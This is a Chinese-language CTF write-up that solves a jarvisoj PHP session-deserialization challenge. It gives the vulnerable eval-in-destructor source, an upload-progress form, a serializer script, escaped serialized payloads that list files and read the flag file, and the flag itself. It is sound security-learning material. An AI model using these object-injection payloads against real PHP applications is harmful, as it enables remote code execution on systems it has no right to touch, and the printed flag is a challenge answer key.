By烟花易冷

华农凹凸CTF 反序列化 writeup
2018-04-06

题目内容:PHP是最好的语言?
打开链接后,发现是来自 jarvisoj 的题目,内容如下:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

由于观察到代码给出了 phpinfo() 的调用方法,故以 GET 方式传入 phpinfo=1,进过搜索并没有发现任何实质性进展。根据题目名字,以及 ini_set(‘session.serialize_handler’, ‘php’) 这句话,推测和 php 对对象的序列化有相关漏洞,经过搜索果不其然,可以通过 Session Upload Progress 来向服务器设置session,只需往该地址任意 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,就可以将filename的值赋值到session中,构造请求如下:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="zzfly.net" />
<input type="file" name="filename" />
<input type="submit" />
</form>

将这个类的变量修改为需要执行的 PHP 命令,重新进行序列化,代码如下:

<?php
class OowoO
{
public $mdzz='print_r(scandir(dirname(FILE)));';
function __construct()
{
//$this->mdzz = 'phpinfo();';
}
function __destruct()
{
//eval($this->mdzz);
}
}
$test = new OowoO();
echo serialize($test);
?>

运行结果为

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

,将符号进行转译后,结果为

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

发送请求后,使用 burpsuit 将其拦截下,修改 playload 中 filename 字段为上面的结果,返回页面如下,在当前目录发现了包含 flag 的文件:

那么修改请求,使用 file_get_contents 获取这个 PHP 文件的代码,经过序列化以及转义后如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

重新发送请求,成功得到 flag:CTF{4d96e37f4be998c50aa586de4ada354a}


番外,今天和某个小盆友在图书馆玩的好开心噢,困了,写的有点乱..